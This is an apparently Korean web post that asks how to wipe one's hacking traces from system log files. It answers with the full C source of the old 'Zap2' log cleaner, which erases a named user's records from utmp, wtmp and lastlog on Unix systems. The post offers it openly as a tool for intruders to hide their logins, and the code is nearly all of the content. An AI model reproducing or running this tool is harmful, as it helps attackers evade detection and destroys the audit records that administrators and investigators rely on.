사이트 내 전체검색
시스템 LOG FILE에서 자신의 해킹흔적을 어떻게 지울것인가?
로빈아빠
https://cmd.kr/server/782 URL이 복사되었습니다.

본문

/etc/utmp, /usr/adm/wtmp 그리고 /usr/adm/lastlog 파일을 편집하라.
그러나 이러한 파일들은 vi와 같은 일반적인 에디터로 편집할 수 있는 문서 파일이 아니다. 이러
한 목적으로 특별하게 짜여진 프로그램을 이용해야 한다.

예:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
  struct utmp utmp_ent;

 if ((f=open(UTMP_NAME,O_RDWR))>=0) {
    while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
      if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                write (f, &utmp_ent, sizeof (utmp_ent));
          }
    close(f);
 }
}

void kill_wtmp(who)
char *who;
{
  struct utmp utmp_ent;
  long pos;

  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {

    while(pos != -1L) {
      lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
      if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
        pos = -1L;
      } else {
        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
              bzero((char *)&utmp_ent,sizeof(struct utmp ));
              lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
              write (f, &utmp_ent, sizeof (utmp_ent));
              pos = -1L;
        } else pos += 1L;
      }
    }
    close(f);
 }
}

void kill_lastlog(who)
char *who;
{
  struct passwd *pwd;
  struct lastlog newll;

    if ((pwd=getpwnam(who))!=NULL) {

      if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
          lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
          bzero((char *)&newll,sizeof( newll ));
          write(f, (char *)&newll, sizeof( newll ));
          close(f);
      }

  } else printf("%s: ?\\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
  if (argc==2) {
      kill_lastlog(argv[1]);
      kill_wtmp(argv[1]);
      kill_utmp(argv[1]);
      printf("Zap2!\\n");
  } else
  printf("Error.\\n");
}

댓글목록

등록된 댓글이 없습니다.

1,139 (4/23P)

Search

Copyright © Cmd 명령어 18.217.178.196